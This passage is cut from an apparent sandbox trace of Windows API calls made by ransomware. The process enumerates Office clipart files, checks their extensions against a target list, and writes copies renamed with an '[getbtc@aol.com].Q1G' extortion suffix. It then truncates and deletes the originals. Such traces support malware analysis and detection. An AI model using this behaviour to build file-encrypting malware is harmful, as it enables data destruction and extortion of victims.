(lpString=".ppt") returned 4 [0242.193] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0242.193] lstrlenW (lpString=".zip") returned 4 [0242.193] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.193] lstrlenW (lpString=".rar") returned 4 [0242.193] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.193] lstrlenW (lpString=".bz2") returned 4 [0242.193] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.193] lstrlenW (lpString=".7z") returned 3 [0242.193] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0242.193] lstrlenW (lpString=".dbf") returned 4 [0242.193] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0242.193] lstrlenW (lpString=".1cd") returned 4 [0242.193] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0242.193] lstrlenW (lpString=".jpg") returned 4 [0242.193] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.193] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0242.193] lstrlenW (lpString="GRDEN_01.MID") returned 12 [0242.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0242.194] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=7567) returned 1 [0242.194] CloseHandle (hObject=0x338) returned 1 [0242.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid")) returned 0x20 [0242.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0242.195] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.195] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0242.196] GetLastError () returned 0x0 [0242.196] ReadFile (in: hFile=0x338, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x1d8f, lpOverlapped=0x0) returned 1 [0242.197] WriteFile (in: hFile=0x390, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x1d90, lpOverlapped=0x0) returned 1 [0242.198] ReadFile (in: hFile=0x338, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.198] WriteFile (in: hFile=0x390, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.198] SetEndOfFile (hFile=0x390) returned 1 [0242.199] CloseHandle (hObject=0x390) returned 1 [0242.199] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.199] SetEndOfFile (hFile=0x338) returned 1 [0242.208] CloseHandle (hObject=0x338) returned 1 [0242.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid")) returned 1 [0242.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0242.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0242.221] lstrlenW (lpString=".doc") returned 4 [0242.221] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.221] lstrlenW (lpString=".docx") returned 5 [0242.221] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.221] lstrlenW (lpString=".pdf") returned 4 [0242.221] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.221] lstrlenW (lpString=".xls") returned 4 [0242.222] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.222] lstrlenW (lpString=".xlsx") returned 5 [0242.222] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.222] lstrlenW (lpString=".ppt") returned 4 [0242.222] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0242.222] lstrlenW (lpString=".zip") returned 4 [0242.222] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.222] lstrlenW (lpString=".rar") returned 4 [0242.222] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.222] lstrlenW (lpString=".bz2") returned 4 [0242.222] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.222] lstrlenW (lpString=".7z") returned 3 [0242.222] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0242.222] lstrlenW (lpString=".dbf") returned 4 [0242.222] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0242.222] lstrlenW (lpString=".1cd") returned 4 [0242.222] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0242.222] lstrlenW (lpString=".jpg") returned 4 [0242.222] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0242.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0242.222] lstrlenW (lpString=".doc") returned 4 [0242.222] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.222] lstrlenW (lpString=".docx") returned 5 [0242.222] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.222] lstrlenW (lpString=".pdf") returned 4 [0242.222] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.222] lstrlenW (lpString=".xls") returned 4 [0242.222] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.222] lstrlenW (lpString=".xlsx") returned 5 [0242.223] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.223] lstrlenW (lpString=".ppt") returned 4 [0242.223] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0242.223] lstrlenW (lpString=".zip") returned 4 [0242.223] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.223] lstrlenW (lpString=".rar") returned 4 [0242.223] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.223] lstrlenW (lpString=".bz2") returned 4 [0242.223] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.223] lstrlenW (lpString=".7z") returned 3 [0242.223] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0242.223] lstrlenW (lpString=".dbf") returned 4 [0242.223] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0242.223] lstrlenW (lpString=".1cd") returned 4 [0242.223] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0242.223] lstrlenW (lpString=".jpg") returned 4 [0242.223] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.223] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0242.223] lstrlenW (lpString="GRID_01.MID") returned 11 [0242.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0242.224] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=6331) returned 1 [0242.224] CloseHandle (hObject=0x388) returned 1 [0242.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid")) returned 0x20 [0242.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0242.224] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.224] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0242.225] GetLastError () returned 0x0 [0242.225] ReadFile (in: hFile=0x388, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x18bb, lpOverlapped=0x0) returned 1 [0242.228] WriteFile (in: hFile=0x338, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x18c0, lpOverlapped=0x0) returned 1 [0242.229] ReadFile (in: hFile=0x388, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.229] WriteFile (in: hFile=0x338, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xea, lpOverlapped=0x0) returned 1 [0242.229] SetEndOfFile (hFile=0x338) returned 1 [0242.230] CloseHandle (hObject=0x338) returned 1 [0242.230] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.230] SetEndOfFile (hFile=0x388) returned 1 [0242.234] CloseHandle (hObject=0x388) returned 1 [0242.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.234] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid")) returned 1 [0242.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0242.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0242.234] lstrlenW (lpString=".doc") returned 4 [0242.235] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.235] lstrlenW (lpString=".docx") returned 5 [0242.235] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.235] lstrlenW (lpString=".pdf") returned 4 [0242.235] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.235] lstrlenW (lpString=".xls") returned 4 [0242.235] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.235] lstrlenW (lpString=".xlsx") returned 5 [0242.235] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.235] lstrlenW (lpString=".ppt") returned 4 [0242.235] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0242.235] lstrlenW (lpString=".zip") returned 4 [0242.235] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.235] lstrlenW (lpString=".rar") returned 4 [0242.235] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.235] lstrlenW (lpString=".bz2") returned 4 [0242.235] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.235] lstrlenW (lpString=".7z") returned 3 [0242.235] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0242.235] lstrlenW (lpString=".dbf") returned 4 [0242.235] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0242.235] lstrlenW (lpString=".1cd") returned 4 [0242.235] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0242.236] lstrlenW (lpString=".jpg") returned 4 [0242.236] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0242.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0242.236] lstrlenW (lpString=".doc") returned 4 [0242.236] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.236] lstrlenW (lpString=".docx") returned 5 [0242.236] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.236] lstrlenW (lpString=".pdf") returned 4 [0242.236] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.236] lstrlenW (lpString=".xls") returned 4 [0242.236] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.236] lstrlenW (lpString=".xlsx") returned 5 [0242.236] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.236] lstrlenW (lpString=".ppt") returned 4 [0242.236] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0242.236] lstrlenW (lpString=".zip") returned 4 [0242.236] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.236] lstrlenW (lpString=".rar") returned 4 [0242.236] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.236] lstrlenW (lpString=".bz2") returned 4 [0242.236] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.236] lstrlenW (lpString=".7z") returned 3 [0242.236] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0242.236] lstrlenW (lpString=".dbf") returned 4 [0242.236] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0242.236] lstrlenW (lpString=".1cd") returned 4 [0242.236] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0242.236] lstrlenW (lpString=".jpg") returned 4 [0242.236] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.237] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0242.237] lstrlenW (lpString="HTECH_01.MID") returned 12 [0242.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0242.237] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=7178) returned 1 [0242.237] CloseHandle (hObject=0x388) returned 1 [0242.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid")) returned 0x20 [0242.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0242.238] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.238] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0242.238] GetLastError () returned 0x0 [0242.239] ReadFile (in: hFile=0x388, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x1c0a, lpOverlapped=0x0) returned 1 [0242.245] WriteFile (in: hFile=0x200, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x1c10, lpOverlapped=0x0) returned 1 [0242.246] ReadFile (in: hFile=0x388, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.246] WriteFile (in: hFile=0x200, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.246] SetEndOfFile (hFile=0x200) returned 1 [0242.246] CloseHandle (hObject=0x200) returned 1 [0242.247] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.247] SetEndOfFile (hFile=0x388) returned 1 [0242.249] CloseHandle (hObject=0x388) returned 1 [0242.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.249] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid")) returned 1 [0242.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0242.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0242.250] lstrlenW (lpString=".doc") returned 4 [0242.250] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.250] lstrlenW (lpString=".docx") returned 5 [0242.250] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.250] lstrlenW (lpString=".pdf") returned 4 [0242.250] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.250] lstrlenW (lpString=".xls") returned 4 [0242.250] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.250] lstrlenW (lpString=".xlsx") returned 5 [0242.250] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.250] lstrlenW (lpString=".ppt") returned 4 [0242.250] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0242.250] lstrlenW (lpString=".zip") returned 4 [0242.250] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.250] lstrlenW (lpString=".rar") returned 4 [0242.250] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.250] lstrlenW (lpString=".bz2") returned 4 [0242.250] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.250] lstrlenW (lpString=".7z") returned 3 [0242.250] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0242.250] lstrlenW (lpString=".dbf") returned 4 [0242.250] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0242.251] lstrlenW (lpString=".1cd") returned 4 [0242.251] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0242.251] lstrlenW (lpString=".jpg") returned 4 [0242.251] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0242.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0242.251] lstrlenW (lpString=".doc") returned 4 [0242.251] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.251] lstrlenW (lpString=".docx") returned 5 [0242.251] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.251] lstrlenW (lpString=".pdf") returned 4 [0242.251] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.251] lstrlenW (lpString=".xls") returned 4 [0242.251] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.251] lstrlenW (lpString=".xlsx") returned 5 [0242.251] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.251] lstrlenW (lpString=".ppt") returned 4 [0242.251] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0242.251] lstrlenW (lpString=".zip") returned 4 [0242.251] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.251] lstrlenW (lpString=".rar") returned 4 [0242.251] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.251] lstrlenW (lpString=".bz2") returned 4 [0242.251] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.251] lstrlenW (lpString=".7z") returned 3 [0242.251] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0242.251] lstrlenW (lpString=".dbf") returned 4 [0242.251] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0242.251] lstrlenW (lpString=".1cd") returned 4 [0242.251] 